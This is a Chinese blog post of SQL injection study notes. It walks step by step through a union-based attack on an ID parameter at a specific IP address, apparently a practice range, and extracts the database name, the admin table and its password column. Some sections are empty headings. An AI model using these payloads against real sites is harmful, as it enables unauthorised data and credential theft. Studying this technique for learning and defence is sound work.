sql注入

 

定义:

前端应用和后端数据的接口(url和表单输入)

常见分类:

 

 

 

 攻击实例:

https://www.cnblogs.com/vickylinj/p/11940889.html

基本步骤:

    • 找到注入点;
    • 判断当前表的字段;
    • 用联合语句查看哪几位是有效位;
    • 查看当前数据库中有哪些表;
    • 查看表中有哪些属性;
    • 查看表中具体的数据信息。

一、检测注入点

首先,在 http://120.203.13.75:6815/?id=1

select * from [表名] where id = '1';

二、判断是否存在 SQL 注入可能

在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1'

SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面

SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误

说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

三、数据库爆破

http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

四、字段爆破

进一步猜测数据注入位置:

http://120.203.13.75:6815/?id=1 order by 10

这相当于 SQL 查询语句:

select * from [表名] where id =1 order by 10;

返回错误,说明字段小于 10:

二分查找:

https://www.cnblogs.com/kyoner/p/11080078.html

五、数据库表爆破

确定字段之后,现在要构造联合查询语句 (union select),语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2 

查询数据库版本:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version() 

六、用户名、密码爆破

现在把 2 替换掉,先查询数据库名称,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database() 

浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe

同样的手法查询表名,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe' 

浏览器返回 admin,说明表名为 admin

再用同样的手法猜测密码和用户名字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

sql盲注:

https://blog.csdn.net/qq_42477007/article/details/96492174

sql漏洞出现的地方:

 如何寻找:

工具,手工测试

工具:

怎么判定:符不符合预期结果

常见测试语句和技巧:

注释:

 实例:

 sqlmap:

获取当前数据库

获取当前数据表

mysql:

 

 

盲注:

原文地址:https://www.cnblogs.com/huanlfu/p/14243761.html